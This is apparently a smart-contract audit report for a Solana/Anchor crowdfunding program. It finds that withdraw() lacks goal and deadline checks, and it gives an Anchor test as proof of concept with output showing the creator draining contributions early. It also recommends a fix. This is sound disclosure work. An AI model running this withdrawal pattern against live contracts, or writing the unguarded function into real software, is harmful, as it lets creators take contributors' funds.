Summary
withdraw()
contains no check to see if the campaign's goal has reached and its deadline has passed. This allows the creator to, unfairly to the contributors, withdraw the contributions before all criteria have been met.
Vulnerability Details
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
POC
Add the following test in tests/rustfund.ts after the "Contributes to fund" test and before the "Refunds contribution" test. This test demonstrates that the creator can immediately withdraw funds after there has been contributions.
it("Creator can withdraw at any time", async () => {
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
const fundBalanceBefore = await provider.connection.getBalance(fundPDA);
console.log("creatorBalanceBefore", creatorBalanceBefore);
console.log("fundBalanceBefore", fundBalanceBefore);
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
const fundBalanceAfter = await provider.connection.getBalance(fundPDA);
const fund = await program.account.fund.fetch(fundPDA);
console.log("creatorBalanceAfter", creatorBalanceAfter);
console.log("fundBalanceAfter", fundBalanceAfter);
console.log("fundAmountRaisedAfter", fund.amountRaised);
expect(creatorBalanceAfter).to.be.greaterThan(creatorBalanceBefore);
expect(fundBalanceAfter).to.be.lessThan(fundBalanceBefore);
});
creatorBalanceBefore 499999999460946370
fundBalanceBefore 537590960
creatorBalanceAfter 499999999960941400
fundBalanceAfter 37590960
fundAmountRaisedAfter <BN: 1dcd6500>
✔ Creator can withdraw at any time (400ms)
Impact
High. Funds can be deemed as lost since goal does not need to be met. Undermines contributor's trust.
Tools Used
Manual review, anchor testing
Recommendations
Add goal and deadline checks to restrict withdrawals to successful campaigns.